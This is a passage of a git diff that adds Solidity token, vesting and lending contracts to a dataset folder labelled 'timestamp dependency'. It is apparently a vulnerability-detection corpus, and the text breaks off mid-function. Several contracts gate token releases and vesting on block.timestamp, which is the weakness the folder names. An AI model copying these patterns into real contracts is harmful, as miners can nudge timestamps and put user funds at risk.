}else if(issueRate >= 0.5 ether){ + return 0.5 ether; + }else if(issueRate >= 0.3 ether){ + return 0.3 ether; + }else{ + return 0.1 ether; + } + } + + + function getClosingLine() + public + view + returns(uint256){ + uint256 highestMortgageRate = getHighestMortgageRate(); + if(highestMortgageRate >= 0.6 ether){ + return safeAdd(highestMortgageRate, 0.1 ether); + }else{ + return 0.6 ether; + } + } + + + function getPrice( + address token_ + ) + public + view + returns(uint256){ + return TokenFactory(tokenFactory).getPrice(token_); + } + + + function getUsableXPA( + address user_ + ) + public + view + returns(uint256) { + uint256 totalLoanXPA = 0; + for(uint256 i = 0; i < xpaAsset.length; i++) { + totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i]))); + } + if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){ + return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())); + }else{ + return 0; + } + } + + + + + + function getLoanAmount( + address user_, + address token_ + ) + public + view + returns(uint256) { + return toAmountBooks[user_][token_]; + } + + + function getRemainingAmount( + address user_, + address token_ + ) + public + view + returns(uint256) { + uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether); + return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether); + } + + function burnFundAccount( + address token_, + uint256 amount_ + ) + onlyOperator + public + { + if( + FundAccount(fundAccount).burn(token_, amount_) + ){ + unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_); + } + } + + function transferProfit( + address token_, + uint256 amount_ + ) + onlyOperator + public + { + require(amount_ > 0); + if( + XPA != token_ && + Token(token_).balanceOf(this) >= amount_ + ) { + require(Token(token_).transfer(bank, amount_)); + } + + if( + XPA == token_ && + Token(XPA).balanceOf(this) >= amount_ + ) { + profit = safeSub(profit,amount_); + require(Token(token_).transfer(bank, amount_)); + } + + } + + function setFeeRate( + uint256 withDrawFeerate_, + uint256 offsetFeerate_, + uint256 forceOffsetBasicFeerate_, + uint256 forceOffsetExecuteFeerate_, + uint256 forceOffsetExtraFeerate_, + uint256 forceOffsetExecuteMaxFee_ + ) + onlyOperator + public + { + require(withDrawFeerate_ < 0.05 ether); + require(offsetFeerate_ < 0.05 ether); + require(forceOffsetBasicFeerate_ < 0.05 ether); + require(forceOffsetExecuteFeerate_ < 0.05 ether); + require(forceOffsetExtraFeerate_ < 0.05 ether); + withdrawFeeRate = withDrawFeerate_; + offsetFeeRate = offsetFeerate_; + forceOffsetBasicFeeRate = forceOffsetBasicFeerate_; + forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_; + forceOffsetExtraFeeRate = forceOffsetExtraFeerate_; + forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_; + } + + function setForceOffsetAmount( + uint256 maxForceOffsetAmount_, + uint256 minForceOffsetAmount_ + ) + onlyOperator + public + { + maxForceOffsetAmount = maxForceOffsetAmount_; + minForceOffsetAmount = minForceOffsetAmount_; + } + + function migrate( + address newContract_ + ) + public + onlyOwner + { + require(newContract_ != address(0)); + if( + newXPAAssets == address(0) && + XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) && + Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this)) + ) { + forceOff = true; + powerStatus = false; + newXPAAssets = newContract_; + for(uint256 i = 0; i < xpaAsset.length; i++) { + XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]); + } + emit eMigrate(newContract_); + } + } + + function transferXPAAssetAndProfit( + address[] xpaAsset_, + uint256 profit_ + ) + public + onlyOperator + returns(bool) { + require(msg.sender == oldXPAAssets); + xpaAsset = xpaAsset_; + profit = profit_; + return true; + } + + function transferUnPaidFundAccount( + address xpaAsset_, + uint256 unPaidAmount_ + ) + public + onlyOperator + returns(bool) { + require(msg.sender == oldXPAAssets); + unPaidFundAccount[xpaAsset_] = unPaidAmount_; + return true; + } + + function migratingAmountBooks( + address user_, + address newContract_ + ) + public + onlyOperator + { + XPAAssets(newContract_).migrateAmountBooks(user_); + } + + function migrateAmountBooks( + address user_ + ) + public + onlyOperator + { + require(msg.sender == oldXPAAssets); + require(!migrateBooks[user_]); + + migrateBooks[user_] = true; + fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_)); + forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_); + for(uint256 i = 0; i < xpaAsset.length; i++) { + toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i])); + } + emit eMigrateAmount(user_); + } + + function getFromAmountBooks( + address user_ + ) + public + view + returns(uint256) { + return fromAmountBooks[user_]; + } + + function getForceOffsetBooks( + address user_ + ) + public + view + returns(uint256) { + return forceOffsetBooks[user_]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10186.sol b/smart_contract_dataset/timestamp dependency/10186.sol new file mode 100644 index 0000000000000000000000000000000000000000..8ee2625ae61195fbd6cc0fa42dae9b157ea151df --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10186.sol @@ -0,0 +1,549 @@ + + +pragma solidity ^0.4.20; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + Mint(_to, _amount); + Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + MintFinished(); + return true; + } +} + + + +contract FreezableToken is StandardToken { + + mapping (bytes32 => uint64) internal chains; + + mapping (bytes32 => uint) internal freezings; + + mapping (address => uint) internal freezingBalance; + + event Freezed(address indexed to, uint64 release, uint amount); + event Released(address indexed owner, uint amount); + + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner) + freezingBalance[_owner]; + } + + + function actualBalanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner); + } + + function freezingBalanceOf(address _owner) public view returns (uint256 balance) { + return freezingBalance[_owner]; + } + + + function freezingCount(address _addr) public view returns (uint count) { + uint64 release = chains[toKey(_addr, 0)]; + while (release != 0) { + count ++; + release = chains[toKey(_addr, release)]; + } + } + + + function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { + for (uint i = 0; i < _index + 1; i ++) { + _release = chains[toKey(_addr, _release)]; + if (_release == 0) { + return; + } + } + _balance = freezings[toKey(_addr, _release)]; + } + + + function freezeTo(address _to, uint _amount, uint64 _until) public { + require(_to != address(0)); + require(_amount <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Transfer(msg.sender, _to, _amount); + Freezed(_to, _until, _amount); + } + + + function releaseOnce() public { + bytes32 headKey = toKey(msg.sender, 0); + uint64 head = chains[headKey]; + require(head != 0); + require(uint64(block.timestamp) > head); + bytes32 currentKey = toKey(msg.sender, head); + + uint64 next = chains[currentKey]; + + uint amount = freezings[currentKey]; + delete freezings[currentKey]; + + balances[msg.sender] = balances[msg.sender].add(amount); + freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); + + if (next == 0) { + delete chains[headKey]; + } + else { + chains[headKey] = next; + delete chains[currentKey]; + } + Released(msg.sender, amount); + } + + + function releaseAll() public returns (uint tokens) { + uint release; + uint balance; + (release, balance) = getFreezing(msg.sender, 0); + while (release != 0 && block.timestamp > release) { + releaseOnce(); + tokens += balance; + (release, balance) = getFreezing(msg.sender, 0); + } + } + + function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { + + result = 0x5749534800000000000000000000000000000000000000000000000000000000; + assembly { + result := or(result, mul(_addr, 0x10000000000000000)) + result := or(result, _release) + } + } + + function freeze(address _to, uint64 _until) internal { + require(_until > block.timestamp); + bytes32 key = toKey(_to, _until); + bytes32 parentKey = toKey(_to, uint64(0)); + uint64 next = chains[parentKey]; + + if (next == 0) { + chains[parentKey] = _until; + return; + } + + bytes32 nextKey = toKey(_to, next); + uint parent; + + while (next != 0 && _until > next) { + parent = next; + parentKey = nextKey; + + next = chains[nextKey]; + nextKey = toKey(_to, next); + } + + if (_until == next) { + return; + } + + if (next != 0) { + chains[key] = next; + } + + chains[parentKey] = _until; + } +} + + + +contract ERC223Receiver { + + function tokenFallback(address _from, uint _value, bytes _data) public; +} + +contract ERC223Basic is ERC20Basic { + function transfer(address to, uint value, bytes data) public returns (bool); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + + +contract SuccessfulERC223Receiver is ERC223Receiver { + event Invoked(address from, uint value, bytes data); + + function tokenFallback(address _from, uint _value, bytes _data) public { + Invoked(_from, _value, _data); + } +} + +contract FailingERC223Receiver is ERC223Receiver { + function tokenFallback(address, uint, bytes) public { + revert(); + } +} + +contract ERC223ReceiverWithoutTokenFallback { +} + + +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(burner, _value); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + + + +contract FreezableMintableToken is FreezableToken, MintableToken { + + function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Mint(_to, _amount); + Freezed(_to, _until, _amount); + Transfer(msg.sender, _to, _amount); + return true; + } +} + +contract Consts { + uint constant TOKEN_DECIMALS = 18; + uint8 constant TOKEN_DECIMALS_UINT8 = 18; + uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; + + string constant TOKEN_NAME = "OOO"; + string constant TOKEN_SYMBOL = "OOO"; + bool constant PAUSED = false; + address constant TARGET_USER = 0x085DA0829d1e2338F18312AA3FF872ff8053d355; + + bool constant CONTINUE_MINTING = true; +} + + + + + +contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { + using SafeMath for uint; + + + function transfer(address _to, uint _value, bytes _data) public returns (bool) { + + + uint codeLength; + + assembly { + + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength > 0) { + ERC223Receiver receiver = ERC223Receiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + bytes memory empty; + return transfer(_to, _value, empty); + } +} + + +contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable + +{ + + event Initialized(); + bool public initialized = false; + + function MainToken() public { + init(); + transferOwnership(TARGET_USER); + } + + function init() private { + require(!initialized); + initialized = true; + + if (PAUSED) { + pause(); + } + + + + if (!CONTINUE_MINTING) { + finishMinting(); + } + + Initialized(); + } + + + function name() pure public returns (string _name) { + return TOKEN_NAME; + } + + function symbol() pure public returns (string _symbol) { + return TOKEN_SYMBOL; + } + + function decimals() pure public returns (uint8 _decimals) { + return TOKEN_DECIMALS_UINT8; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transferFrom(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transfer(_to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10189.sol b/smart_contract_dataset/timestamp dependency/10189.sol new file mode 100644 index 0000000000000000000000000000000000000000..a26127ee19535dbc1ee58df694ba4b0199f1b489 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10189.sol @@ -0,0 +1,909 @@ +pragma solidity ^0.4.23; + + + + +contract NokuPricingPlan { + + function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); + + + function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + +contract NokuCustomToken is Ownable { + + event LogBurnFinished(); + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + + address public serviceProvider; + + + bool public burningFinished; + + + modifier onlyServiceProvider() { + require(msg.sender == serviceProvider, "caller is not service provider"); + _; + } + + modifier canBurn() { + require(!burningFinished, "burning finished"); + _; + } + + constructor(address _pricingPlan, address _serviceProvider) internal { + require(_pricingPlan != 0, "_pricingPlan is zero"); + require(_serviceProvider != 0, "_serviceProvider is zero"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + serviceProvider = _serviceProvider; + } + + + function isCustomToken() public pure returns(bool isCustom) { + return true; + } + + + function finishBurning() public onlyOwner canBurn returns(bool finished) { + burningFinished = true; + + emit LogBurnFinished(); + + return true; + } + + + function setPricingPlan(address _pricingPlan) public onlyServiceProvider { + require(_pricingPlan != 0, "_pricingPlan is 0"); + require(_pricingPlan != address(pricingPlan), "_pricingPlan == pricingPlan"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract BurnableERC20 is ERC20 { + function burn(uint256 amount) public returns (bool burned); +} + + +contract NokuTokenBurner is Pausable { + using SafeMath for uint256; + + event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); + event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); + + + address public wallet; + + + uint256 public burningPercentage; + + + uint256 public burnedTokens; + + + uint256 public transferredTokens; + + + constructor(address _wallet) public { + require(_wallet != address(0), "_wallet is zero"); + + wallet = _wallet; + burningPercentage = 100; + + emit LogNokuTokenBurnerCreated(msg.sender, _wallet); + } + + + function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { + require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); + require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); + + burningPercentage = _burningPercentage; + + emit LogBurningPercentageChanged(msg.sender, _burningPercentage); + } + + + function tokenReceived(address _token, uint256 _amount) public whenNotPaused { + require(_token != address(0), "_token is zero"); + require(_amount > 0, "_amount is zero"); + + uint256 amountToBurn = _amount.mul(burningPercentage).div(100); + if (amountToBurn > 0) { + assert(BurnableERC20(_token).burn(amountToBurn)); + + burnedTokens = burnedTokens.add(amountToBurn); + } + + uint256 amountToTransfer = _amount.sub(amountToBurn); + if (amountToTransfer > 0) { + assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); + + transferredTokens = transferredTokens.add(amountToTransfer); + } + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + + + +pragma solidity ^0.4.21; + + + + + + + +contract TokenVesting is Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20Basic; + + event Released(uint256 amount); + event Revoked(); + + + address public beneficiary; + + uint256 public cliff; + uint256 public start; + uint256 public duration; + + bool public revocable; + + mapping (address => uint256) public released; + mapping (address => bool) public revoked; + + + function TokenVesting( + address _beneficiary, + uint256 _start, + uint256 _cliff, + uint256 _duration, + bool _revocable + ) + public + { + require(_beneficiary != address(0)); + require(_cliff <= _duration); + + beneficiary = _beneficiary; + revocable = _revocable; + duration = _duration; + cliff = _start.add(_cliff); + start = _start; + } + + + function release(ERC20Basic token) public { + uint256 unreleased = releasableAmount(token); + + require(unreleased > 0); + + released[token] = released[token].add(unreleased); + + token.safeTransfer(beneficiary, unreleased); + + emit Released(unreleased); + } + + + function revoke(ERC20Basic token) public onlyOwner { + require(revocable); + require(!revoked[token]); + + uint256 balance = token.balanceOf(this); + + uint256 unreleased = releasableAmount(token); + uint256 refund = balance.sub(unreleased); + + revoked[token] = true; + + token.safeTransfer(owner, refund); + + emit Revoked(); + } + + + function releasableAmount(ERC20Basic token) public view returns (uint256) { + return vestedAmount(token).sub(released[token]); + } + + + function vestedAmount(ERC20Basic token) public view returns (uint256) { + uint256 currentBalance = token.balanceOf(this); + uint256 totalBalance = currentBalance.add(released[token]); + + if (block.timestamp < cliff) { + return 0; + } else if (block.timestamp >= start.add(duration) || revoked[token]) { + return totalBalance; + } else { + return totalBalance.mul(block.timestamp.sub(start)).div(duration); + } + } +} + + + + +contract NokuCustomERC20 is NokuCustomToken, DetailedERC20, MintableToken, BurnableToken { + using SafeMath for uint256; + + event LogNokuCustomERC20Created( + address indexed caller, + string indexed name, + string indexed symbol, + uint8 decimals, + uint256 transferableFromBlock, + uint256 lockEndBlock, + address pricingPlan, + address serviceProvider + ); + event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); + event LogInformationChanged(address indexed caller, string name, string symbol); + event LogTransferFeePaymentFinished(address indexed caller); + event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); + + + bool public mintingFeeEnabled; + + + uint256 public transferableFromBlock; + + + uint256 public lockEndBlock; + + + mapping (address => uint256) public initiallyLockedBalanceOf; + + + uint256 public transferFeePercentage; + + + bool public transferFeePaymentFinished; + + bytes32 public constant BURN_SERVICE_NAME = "NokuCustomERC20.burn"; + bytes32 public constant MINT_SERVICE_NAME = "NokuCustomERC20.mint"; + + modifier canTransfer(address _from, uint _value) { + require(block.number >= transferableFromBlock, "token not transferable"); + + if (block.number < lockEndBlock) { + uint256 locked = lockedBalanceOf(_from); + if (locked > 0) { + uint256 newBalance = balanceOf(_from).sub(_value); + require(newBalance >= locked, "_value exceeds locked amount"); + } + } + _; + } + + constructor( + string _name, + string _symbol, + uint8 _decimals, + uint256 _transferableFromBlock, + uint256 _lockEndBlock, + address _pricingPlan, + address _serviceProvider + ) + NokuCustomToken(_pricingPlan, _serviceProvider) + DetailedERC20(_name, _symbol, _decimals) public + { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); + + transferableFromBlock = _transferableFromBlock; + lockEndBlock = _lockEndBlock; + mintingFeeEnabled = true; + + emit LogNokuCustomERC20Created( + msg.sender, + _name, + _symbol, + _decimals, + _transferableFromBlock, + _lockEndBlock, + _pricingPlan, + _serviceProvider + ); + } + + function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { + require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); + + mintingFeeEnabled = _mintingFeeEnabled; + + emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); + + return true; + } + + + function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + + name = _name; + symbol = _symbol; + + emit LogInformationChanged(msg.sender, _name, _symbol); + + return true; + } + + + function finishTransferFeePayment() public onlyOwner returns(bool finished) { + require(!transferFeePaymentFinished, "transfer fee finished"); + + transferFeePaymentFinished = true; + + emit LogTransferFeePaymentFinished(msg.sender); + + return true; + } + + + function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { + require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); + require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); + + transferFeePercentage = _transferFeePercentage; + + emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); + } + + function lockedBalanceOf(address _to) public constant returns(uint256 locked) { + uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; + if (block.number >= lockEndBlock) return 0; + else if (block.number <= transferableFromBlock) return initiallyLocked; + + uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); + uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); + return initiallyLocked.sub(released); + } + + + function transferFee(uint256 _value) public view returns(uint256 usageFee) { + return _value.mul(transferFeePercentage).div(100); + } + + + function freeTransfer() public view returns (bool isTransferFree) { + return transferFeePaymentFinished || transferFeePercentage == 0; + } + + + function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transfer(_to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transfer(owner, usageFee); + bool netValueTransferred = super.transfer(_to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transferFrom(_from, _to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transferFrom(_from, owner, usageFee); + bool netValueTransferred = super.transferFrom(_from, _to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function burn(uint256 _amount) public canBurn { + require(_amount > 0, 